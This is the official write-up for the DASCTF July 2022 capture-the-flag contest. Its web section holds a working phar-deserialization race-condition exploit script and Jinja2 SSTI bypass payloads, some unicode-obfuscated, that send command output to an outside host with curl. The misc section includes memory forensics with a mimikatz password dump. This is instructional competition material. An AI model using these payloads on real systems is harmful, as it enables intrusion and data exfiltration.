DASCTF|2022DASCTF7月赋能赛官方Write Up

WEB

Ez to getflag

非预期直接/flag

预期

打开页面发现页面有读取和上传功能,读取页面可以直接获取源码,把源码扒下来

代码审计,先看到实现文件读取功能的代码,class.php中的Show类的show方法

public function show(){if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {die('illegal fname :P');} else {echo file_get_contents($this->source);$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));echo "<img src={$src} />";}
}

这里的过滤没有过滤phar协议,配合文件上传的功能可以进行phar文件反序列化,又看到Show类里还有个backdoor方法,可以进行文件包含,基本确定最终是要调用这个方法

public function backdoor($door){include($door);echo "hacked!!";
}
审计实现文件上传功能的代码,class.php中的Upload类为文件上传的实现class Upload {public $f;public $fname;public $fsize;function __construct(){$this->f = $_FILES;}function savefile() {  $fname = md5($this->f["file"]["name"]).".png"; if(file_exists('./upload/'.$fname)) { @unlink('./upload/'.$fname);}move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); echo "upload success! :D"; } function __toString(){$cont = $this->fname;$size = $this->fsize;echo $cont->$size;return 'this_is_upload';}function uploadfile() { if($this->file_check()) { $this->savefile(); } }function file_check() { $allowed_types = array("png");$temp = explode(".",$this->f["file"]["name"]);$extension = end($temp); if(empty($extension)) { echo "what are you uploaded? :0";return false;}else{ if(in_array($extension,$allowed_types)) {$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';$f = file_get_contents($this->f["file"]["tmp_name"]);if(preg_match_all($filter,$f)){echo 'what are you doing!! :C';return false;}return true; } else { echo 'png onlyyy! XP'; return false; } }}}

看到文件上传之后在存储到upload目录之前调用file_check进行了过滤,文件后缀限制为png,并且对文件内容进行了检查,不允许以下内容出现

$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';

方式压缩后依然可以使用phar协议进行解析的特性,传一个压缩过后的phar文件进去

file_check执行完后才又调用了savefile,把文件存储在upload目录并更名为原文件名的md5值

构造pop链

<?php
class Upload{public $fname;public $fsize;
}
class Show{public $source;
}
class Test{public $str;
}$upload = new Upload();
$show = new Show();
$test = new Test();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_chaaa';
// $test->str = 'okkkk';@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

压缩为gzip压缩包并改后缀名上传该phar文件 利用php的session上传进度以及文件上传的条件竞争进行文件包含 编写python脚本进行文件包含,脚本如下

import sys,threading,requests,re
from hashlib import md5HOST = sys.argv[1]
PORT = sys.argv[2]flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):global check,flagwhile check:fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'params = {'f': 'phar://upload/'+fname}res = s.get(url=fileurl, params=params)if "working" in res.text:flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]check = False# 利用session.upload.progress写入临时文件def sess_upload(url,s):global checkwhile check:data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"}cookies={'PHPSESSID': 'chaaa'}files={'file': ('chaaa.png', b'cha'*300)}s.post(url=url,data=data,cookies=cookies,files=files)def exp(ip, port):url = "http://"+ip+":"+port+"/"fileurl = url+'file.php'uploadurl = url+'upload.php'num = threading.active_count()# 上传phar文件file = {'file': open('./shell.png', 'rb')}ret = requests.post(url=uploadurl, files=file)# 文件上传条件竞争获取flagevent=threading.Event()s1 = requests.Session()s2 = requests.Session()for i in range(1,10):threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()for i in range(1,10):threading.Thread(target=include,args=(fileurl,s2,)).start()event.set()while threading.active_count() != num:passif __name__ == '__main__':exp(HOST, PORT)print(flag)

Harddisk

题目是一个输入框

经测试,存在 SSTI 注入,但是过滤的很严,fuzz一下

}}, {{, ], [, ], \,  , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers

过滤了大括号 {{,我们可以用 {%print(......)%} 或 {% if ... %}1{% endif %} 的形式来代替,但是题目还过滤了 print 关键字,所以前者用不了了,只能用 {% if ... %}success{% endif %} 的形式来bypass了。但是这样的话payload执行成功后只会输出中间的"success"而不会输出执行的结果的,所以我们要用外带数据的方法来得到payload执行的结果。

由于还过滤了像 ]、_、request 这类常用的字符和关键字,我们可以用 attr() 配合 unicode 编码的方法绕过,类似如下:

{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}success{%endif%}    # {%if("".__class__)%}success{%endif%}

确定了bypass的方法,下面我们就要寻找可以执行命令的类了,这里我们寻找含有 “popen” 方法的类遍历脚本:

import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}for i in range(500):url = "http://your-ip:8081/"payload = {"nickname":'{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}success{%endif%}'}res = requests.post(url=url, headers=headers, data=payload)if 'success' in res.text:print(i)# 输出: 133

找到第133个子类含有 “popen” 方法,然后构造payload执行命令看看根目录里的文件:

{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"").read())%}success{%endif%}  -->>  

{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"")|attr("read")())%}success{%endif%}  -->> 
# unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%}    # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"

改一ip但我没拦截出来可能服务器被关了,用官方的截图

vps上开启监听:

发送 payload 后,vps上成功接收到了执行结果

读取flag:

{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"").read())%}success{%endif%}  
-->>  
{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"")|attr("read")())%}success{%endif%}  -->> 
# unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u0063\u0061\u0074\u0020\u002f\u0066\u0031\u0061\u0067\u0067\u0067\u0067\u0068\u0065\u0072\u0065`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%}    # curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"

MISC

Colorful Strips

放到stegsolve发现有看到杂乱的像素点:说明这些区域必然存在内容,但因为JPEG是有损压缩,其算法导致无法从渲染后的像素RGB颜色中准确还原原始内容。

用脚本处理一下

from turbojpeg import TurboJPEG
from PIL import Imagejpeg = TurboJPEG()in_file = open('flag.jpg', 'rb')
buffer_array, plane_sizes = jpeg.decode_to_yuv(in_file.read())
in_file.close()img = Image.new('RGB', (900, 900))
for y in range(900):for x in range(900):i = y * 900 + ximg.putpixel((x, y), (buffer_array[i], buffer_array[i+810000], buffer_array[i+1620000]))
img.save('res.png')

ez_forensics

下载附件得到一个pc.vmdk文件和一个pc.raw文件,一个是磁盘文件一个是内存文件。首先利用FTK挂载一下vmdk文件,得到加密的磁盘

再去看raw文件

volatility -f pc.raw imageinfo 查看镜像信息

volatility -f pc.raw --profile=Win7SP1x64 pstree 查看进程

根据进程里的cmd.exe,cmdscan看看命令行输入了什 么

volatility -f pc.raw --profile=Win7SP1x64 cmdscan

说有一个特殊的截屏,去找截屏

volatility -f pc.raw --profile=Win7SP1x64 screenshot -D ./

可以发现桌面上打开过一个文件,看文件名可知是一个关键文件:thes3cret

尝试filescan一下这个文件

volatility -f pc.raw --profile=Win7SP1x64 filescan | grep thes3cret

然后dumpfiles出来

volatility -f pc.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eeb4650 -D ./

提取出来发现是一个文本文件看着像base64解密一下

解密后发现是salted开头,应该是aes,再去pc.raw找key,先用disgenius挂载,发现有bitlocker加密

再用ftk挂载

用EFDD解密

这个是.raw文件,解密成功得到key

用diskgenius解密

得到两个文件flag.txt里没有东西,看zip里的东西,有一个png文件,发现里面有zip将它提出来

发现有密码还有一段注释,说在电脑用户登录密码

再去pc.raw找密码

volatility -f pc.raw --profile=Win7SP1x64 mimikatz

得到密码解开压缩包得到一串8进制转换一下

key就是我们的aes的key解密得到flag

听说你是个侦探

直接文件名异或

hex1 = "7955d0e35c55b93c6aac27879130ae894d30b9180b0579bb0a4339d543aa6b"
hex2 = "1826b3973a2ec0531fd246f5f41defa42e51cb7d6d7015e45a2656a52fcf16"a = bytes.fromhex(hex1)
b = bytes.fromhex(hex2)print(bytes([i ^ j for i,j in zip(a,b)]))#asctf{you~are-A-careful_People}

哆来咪发唆拉西哆

得到一个音谱,看不懂,binwalk一下

得到一串数字看不懂

继续查看pdf本身,发现有关键字

因为whatisthis里头的数字,有的很大,我们尝试生成一个小数点长度在10000的圆周率出来,看看能得到什么,圆周率生成的脚本用的是下面这个网址的大佬的脚本

【python圆周率计算】python计算圆周率π的值到任意位_东华果汁哥的博客-CSDN博客_python圆周率代码

拿星爷的脚本

# -*- coding: utf-8 -*-
from __future__ import division
from array import array
from tqdm import tqdm
import time
# 圆周率生成脚本来自 https://blog.csdn.net/u013421629/article/details/72640062
def makepi(number):time1=time.time()################算法根据马青公式计算圆周率##################### number = int(raw_input('请输入想要计算到小数点后的位数n:'))# number=10000+30# 多计算10位,防止尾数取舍的影响number1 = number+10# 算到小数点后number1位b = 10**number1# 求含4/5的首项x1 = b*4//5# 求含1/239的首项x2 = b// -239# 求第一大项he = x1+x2#设置下面循环的终点,即共计算n项number *= 2#循环初值=3,末值2n,步长=2for i in tqdm(range(3,number,2)):# 求每个含1/5的项及符号x1 //= -25# 求每个含1/239的项及符号x2 //= -57121# 求两项之和x = (x1+x2) // i# 求总和he += x# 求出πpai = he*4#舍掉后十位pai //= 10**10############ 输出圆周率π的值paistring=str(pai)result=paistring[0]+str('.')+paistring[1:len(paistring)]# print (result)# flag=result[-30:]# print('flag is DASCTF{{{}}}'.format(flag))# open('pi.txt','w').write(result)return result# makepi(10000)# 比较每组中相同的数,输出def diff(array:list,x:int):equals = ""array = list(map(int,array))for i in range(x):if ( (pi[array[0]:array[0]+i+1] == pi[array[1]:array[1]+i+1]) & (pi[array[0]:array[0]+i+1] == pi[array[2]:array[2]+i+1]) & (pi[array[0]:array[0]+i+1] == pi[array[3]:array[3]+i+1])) :equals += (pi[array[0]:array[0]+i+1])else:return equals[len(equals)//2:]if __name__ == "__main__":from Crypto.Util.number import long_to_bytes# 获取pi前1万位pi = makepi(10000)# 把what is this中的数据按行读取arrays=[]with open('whatisthis.txt','r') as f:for line in f:arrays.append(list(line.replace(' ','')[1:-2].strip('\n').split(',')))# 将结果保存为图片f_jpg = open("flag.jpg",'wb')for i in tqdm(arrays):f_jpg.write(long_to_bytes(int(diff(i,10),10)))f_jpg.close()

得到一张图

可以知道flag是圆周率小数点后10000到10030位数字

p1=pi.makepi(10000+30)  #根据提示,flag是pi的一万位后的30位
flag='DASCTF{{{}}}'.format(p1[-30:])
print(flag)
DASCTF{566722796619885782794848855834}

DASCTF部分复现相关推荐

  1. 世界杯来了,青春退役了

    Argentina 若非好友提醒,都忘了2018世界杯就要开始了. 一周后的今晚,面对 阿根廷VS冰岛 的比赛,我又会想起那个遥远的意大利之夏. 经典回顾意大利之夏MV 马拉多纳世纪助攻,卡尼吉亚一剑 ...

  2. [DASCTF Apr.2023 X SU战队2023开局之战] crypto复现

    感觉突然啥都不会了,后来拿到官方WP,也没整明白,这官方的WP没有代码只讲了些道理,复现一下也不容易. 1,easySign 这是个自制的签名题. from secret import r, t fr ...

  3. DASCTF Oct X 吉林工师_Misc_复现

    DASCTF Oct X 吉林工师_Misc_复现 WELCOME DASCTFxJlenu giveyourflag 闯入魔塔的魔法少女 魔法秘文 不可以色色 魔法信息 英语不好的魔法少女 彁彁 魔 ...

  4. DASCTF x CBCTF 2022_Crypto复现

    DASCTF x CBCTF 2022_Crypto复现 easySignin P r o b l e m Problem Problem A n a l y s i s Analysis Analy ...

  5. DASCTF安恒三月赛re部分复现

    Drinksometea 题目给了exe和一个tea.png.out(加密完生成的文件),哇这个第一题做了我一天啊...已知是tea就卡在不会文件读写是真的难受住了呜呜呜呜 逻辑是很清晰的,Creat ...

  6. DASCTF Oct X 吉林工师-欢迎来到魔法世界-misc-魔法少女的迷音(复现)

    打开需要密码解压,左边有提示,下面有个atom128 是加密方式 用bing搜索或者google搜索atom128,就能出来解码网站,,,别用百度.. 百度的搜索结果是这些玩意 复制上面密文进行解码 ...

  7. DASCTF九月挑战赛复现-web

    web dino3d 进入题目先小玩一把 发现只要玩够这么多分就行,看看源码中的信息 在别的地方都没有信息,在一个js文件中好像有checkcode,进去看一下/js/build.min.js?pat ...

  8. [DASCTF 7月赛] 复现

    ez_forenisc 获取内存镜像的摘要信息,比如系统版本: imageinfo 查看进程信息: pslist python2 vol.py -f pc.raw --profile=Win7SP1x ...

  9. DASCTF x SU 春季挑战赛

    DASCTF x SU三月赛复现 0x01 MISC 月圆之夜 什么奇奇怪怪的东西 0x02 WEB ezpop calc upgdstore 0x01 MISC 月圆之夜 这个直接B站上就行,有专门 ...

最新文章

  1. Transferring GANs: generating images from limited data 论文学习
  2. 2017年10月31日结束Outlook 2007与Office 365的连接
  3. Tether销毁5亿USDT;BCH将于11月15日硬分叉,SV-Pool已向普通矿工开放
  4. 【转】在 Linux 平台下使用 JNI
  5. NUC972的BSP包的使用
  6. Intel Realsense D435 多摄像头配置 Multi-camera configurations (220)(官方测试的摄像头配置表【不同带宽下分辨率、帧率等】)
  7. 手把手教你实现基于LSTM的情感分析(LSTM-based Sentiment) Classification
  8. 个人成长:2021年7月记
  9. sql 某字段存储另一个表的多个id值并以逗号分隔,现根据id去中文并拼接同样以逗号分隔...
  10. install npm 到某个文件下执行_你可能不知道的 npm 依赖管理那些事
  11. 【LeetCode笔记】438. 找到字符串中所有字母异位词(Java、字符串、滑动窗口)
  12. java 正则 实例_Java正则表达式示例
  13. Java判断Class变量是什么类型
  14. Java并发(四)——synchronized、volatile
  15. python接口自动化(四十三)-公共模块 pymysql 连接mysql数据库(单独说明)
  16. Linux系统修改远程连接22端口
  17. 关于js里的那一堆事件
  18. SVN下载安装及入门使用教程,详细到不能再详细了
  19. 格式化U盘并测试读写速度
  20. 【华图教育】综合素质

热门文章

  1. java学习四个月以来的想法
  2. WORD文档打开文件时老提示发送错误报告,或者打印不全
  3. autoCAD 创建对象 使用面域 创建图案填充
  4. 送福利 手把手教你快速配置腾讯云 Linux 服务器
  5. 2023安徽工程大学计算机考研信息汇总
  6. 万年历的黎明:全部结束
  7. UltraDefrag(磁盘碎片整理工具) v8.0.1中文绿色便携版
  8. Linux系统学习笔记二
  9. 如何使用阿里巴巴短信服务发送短信验证码
  10. C@sio 计算器挑战(初学java第一篇)